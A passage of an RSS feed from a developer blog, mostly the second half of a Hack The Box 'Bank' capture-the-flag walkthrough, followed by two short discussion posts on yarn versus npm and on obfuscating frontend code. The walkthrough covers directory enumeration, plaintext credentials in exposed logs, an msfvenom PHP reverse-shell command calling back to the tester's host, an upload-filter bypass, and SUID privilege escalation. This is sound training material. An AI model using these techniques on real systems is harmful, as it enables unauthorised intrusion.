2020/06/06 15:27:31 Finished
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hmm... I think about the DNS server again. I modify my &lt;code&gt;etc/resolv.conf&lt;/code&gt; file to set my nameserver as the Bank machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nameserver 10.10.10.29
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I now re-run Gobuster with the &lt;code&gt;bank.htb&lt;/code&gt; domain instead of the direct IP. Now we're getting somewhere!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/big.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://bank.htb

&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.0.1
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@_FireFart_&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:            http://bank.htb
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:        10
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/big.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Status codes:   200,204,301,302,307,401,403
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:     gobuster/3.0.1
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:        10s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2020/06/06 15:39:26 Starting gobuster
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/.htpasswd &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/.htaccess &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/assets &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
/inc &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
/server-status &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/uploads &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2020/06/06 15:40:03 Finished
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigating to &lt;code&gt;/inc&lt;/code&gt;, I see a directory is exposed and, in particular, a &lt;code&gt;user.php&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vRaxOvqZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/inc-dirlist.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vRaxOvqZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/inc-dirlist.png" alt="/inc directory"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I can't view the contents of the file because my browser will execute the PHP instead of displaying the source, but I take a note of it as I'll likely want to read it once I have a shell on the system.&lt;/p&gt;

&lt;p&gt;I don't see anything else of interest so I try Gobuster again, with a larger wordlist.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://bank.htb/ &lt;span class="nt"&gt;-t&lt;/span&gt; 30

&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.0.1
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@_FireFart_&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:            http://bank.htb/
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:        30
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Status codes:   200,204,301,302,307,401,403
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:     gobuster/3.0.1
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:        10s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2020/06/06 16:11:55 Starting gobuster
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/uploads &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
/assets &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
/inc &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
/server-status &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt;
/balance-transfer &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2020/06/06 16:14:07 Finished
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ah ha! A new endpoint, &lt;code&gt;/balance-transfer&lt;/code&gt;. That should be promising. Indeed, navigating to the endpoint reveals a directory with a ton of files.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mLLro-2B--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/balance-transfer.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mLLro-2B--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/balance-transfer.png" alt="balance-transfer directory with many files"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking into some of these files, they appear to be transaction logs of whatever bank this server is pretending to be. I see encrypted credentials in each file. Maybe one of the files has unencrypted credentials?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3mq6wYOd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/balance-tranfer-details.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3mq6wYOd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/balance-tranfer-details.png" alt="balance transfer file details"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are a &lt;em&gt;ton&lt;/em&gt; of files in the directory, however, so looking at each one was not going to work out. I notice that all of the files appear to have a size of &lt;code&gt;584&lt;/code&gt;. Some have &lt;code&gt;583&lt;/code&gt; or &lt;code&gt;582&lt;/code&gt;, but all are around that size. So, I want to see if there was a file that has a significant different size. I use &lt;code&gt;ctrl+f&lt;/code&gt; in the browser and search for &lt;code&gt;58&lt;/code&gt;. The gives me a good visual indicator to scroll down the page and identify any file that is out of place. I find one!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--qQvWVvVR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/balance-transfer-smaller-file.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qQvWVvVR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/balance-transfer-smaller-file.png" alt="balance transfer out of place file"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This file is only &lt;code&gt;257&lt;/code&gt; characters long. I navigate to the file and see that it logged a failed transaction. In this case, the encryption failed so it logged the user's credentials in plaintext.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1m4sz-YV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/balance-transfer-plaintext.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1m4sz-YV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/balance-transfer-plaintext.png" alt="balance transfer credentials in plaintext"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is a login page at &lt;code&gt;bank.htb/login.php&lt;/code&gt; and I use these credentials to login.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--oAhbodR9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/logged-in-chris.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--oAhbodR9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/logged-in-chris.png" alt="logged in as chris"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Time for more enumeration! I look at what an authenticated user can do. There is a support page at &lt;code&gt;http://bank.htb/support.php&lt;/code&gt; and it looks like I can submit a support ticket with a file attachment. By hovering over the attachment link, I see in the bottom left that the attachment is available at &lt;code&gt;http://bank.htb/uploads/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--57LDMggs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/uploaded-file-link.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--57LDMggs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/uploaded-file-link.png" alt="test attachment"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ok! I want to upload a PHP web shell. I generate a payload with &lt;code&gt;msfvenom&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msfvenom &lt;span class="nt"&gt;-p&lt;/span&gt; php/reverse_php &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.10.14.34 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;443 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; shell.php

&lt;span class="o"&gt;[&lt;/span&gt;-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
&lt;span class="o"&gt;[&lt;/span&gt;-] No &lt;span class="nb"&gt;arch &lt;/span&gt;selected, selecting &lt;span class="nb"&gt;arch&lt;/span&gt;: php from the payload
No encoder specified, outputting raw payload
Payload size: 3005 bytes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I try to upload &lt;code&gt;shell.php&lt;/code&gt; directly, but get an error.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2KkZ07Xl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/only-upload-images.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2KkZ07Xl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/only-upload-images.png" alt="php upload error"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Only images, huh?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--39P0jLz9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/doubt.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--39P0jLz9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/doubt.jpeg" alt="doubt"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I have been proxying my browser traffic through &lt;a href="https://portswigger.net/burp"&gt;Burp Suite&lt;/a&gt;, so I copy my file upload request and start modifying it. I change the &lt;code&gt;Content-Type&lt;/code&gt; from &lt;code&gt;application/php&lt;/code&gt; to &lt;code&gt;image/png&lt;/code&gt; and set a null terminator on the file name.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--YH5RoWLW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/upload-php-null-terminator.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YH5RoWLW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/upload-php-null-terminator.png" alt="modifying php upload in burp"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This works! But, the &lt;code&gt;.php&lt;/code&gt; file does not execute from &lt;code&gt;/uploads&lt;/code&gt;. I believe my null terminator broke it. However, inspecting the source of the web page in Burp I find something interesting...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ti5kPuki--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/can-upload-htb-php.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ti5kPuki--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/can-upload-htb-php.png" alt="webpage debug php"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The debug comment says &lt;code&gt;.htb&lt;/code&gt; files will execute as &lt;code&gt;.php&lt;/code&gt;. I modify my request in Burp to use &lt;code&gt;shell.htb&lt;/code&gt; instead of &lt;code&gt;shell.php&lt;/code&gt; (and drop the null terminator) and I can upload it successfully!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Iq7UrfuZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/shell-uploaded.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Iq7UrfuZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/shell-uploaded.png" alt="shell uploaded"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All right. Let's see if it worked. I start a netcat listener on my machine and navigate to my file in the &lt;code&gt;uploads/&lt;/code&gt; directory. It works and I get a shell as the &lt;code&gt;www-data&lt;/code&gt; user!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--UGAYcf3H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/web-shell.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--UGAYcf3H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/web-shell.png" alt="netcat webshell"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Time to gather information from the file system and escalate my privileges. I can read the user flag from &lt;code&gt;/home/chris&lt;/code&gt; as the &lt;code&gt;www-data&lt;/code&gt; user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@bank:~/bank/uploads&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /home/chris
&lt;span class="nb"&gt;cd&lt;/span&gt; /home/chris
www-data@bank:/home/chris&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
total 4
&lt;span class="nt"&gt;-r--r--r--&lt;/span&gt; 1 chris chris 33 May 29  2017 user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now for the root shell.&lt;/p&gt;

&lt;p&gt;Remembering the &lt;code&gt;user.php&lt;/code&gt; file I saw on the &lt;code&gt;/inc&lt;/code&gt; endpoint, I navigate to the web server directory and read the file. There is a &lt;code&gt;mysql&lt;/code&gt; connection string using root credentials stored in the file. There's nothing I need in the database, though. I spent some time here in a rabiit hole.&lt;/p&gt;

&lt;p&gt;Let's run &lt;a href="https://github.com/rebootuser/LinEnum"&gt;LinEnum&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;I copied the file it generated onto my local system to review it, so the colorized text flags are all over it. However, I notice in its list of &lt;code&gt;SUID&lt;/code&gt; binaries that  a particularly unusual one stands out.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--BYckl_Pw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/suid-binaries.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BYckl_Pw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/suid-binaries.png" alt="suid binaries"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;var/htb/bin/emergency&lt;/code&gt;... Interesting. I run it. It elevates me to a root shell. Neat. I go ahead and read the root flag in &lt;code&gt;/root/root.txt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6oHlmaI_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/emergency-root-shell.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6oHlmaI_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.artis3nal.com/assets/img/htb/bank/emergency-root-shell.png" alt="emergency suid"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>pentest</category>
      <category>hacking</category>
    </item>
    <item>
      <title>What is the difference between yarn and npm these days?</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Tue, 16 Jun 2020 01:40:20 +0000</pubDate>
      <link>https://forem.com/artis3n/what-is-the-difference-between-yarn-and-npm-these-days-1l0b</link>
      <guid>https://forem.com/artis3n/what-is-the-difference-between-yarn-and-npm-these-days-1l0b</guid>
      <description>&lt;p&gt;Back when yarn was first released, the defining feature was yarn's lockfile, which sped up dependency tree resolution and thus the overall &lt;code&gt;install&lt;/code&gt; of a project. Well, npm 5 came out with a lockfile a few months later. I don't know if it's anything new, but I've noticed in the last several months that both large community projects, enterprise blog articles, and individual stuff on platforms like dev.to always put the yarn commands first with npm commands as a secondary line, or a comment underneath the yarn command.&lt;/p&gt;

&lt;p&gt;Why? Why do people still use yarn? Why does it seem like yarn is preferred these days? What differentiators does it actually have against npm 6.x?&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>javascript</category>
      <category>npm</category>
      <category>node</category>
    </item>
    <item>
      <title>SSR apps - obfuscate your code?</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Wed, 10 Jun 2020 01:18:06 +0000</pubDate>
      <link>https://forem.com/artis3n/ssr-apps-obfuscate-your-code-2cio</link>
      <guid>https://forem.com/artis3n/ssr-apps-obfuscate-your-code-2cio</guid>
      <description>&lt;p&gt;For people producing enterprise / running a SaaS product, let's say in particular a server-side rendered thing or something that React/Vue has statically bundled and a large chunk of your app and it's logic is now the frontend code that gets shipped to your user's browser.&lt;/p&gt;

&lt;p&gt;Do you use tools to obfuscate your code to prevent folks from reversing/making off with your SaaS thing? Is that a concern for you? If so, what tools do you use?&lt;/p&gt;

</description>
      <category>discuss</category>
      <category>javascript</category>
      <category>vue</category>
      <category>react</category>
    </item>
  </channel>
</rss>
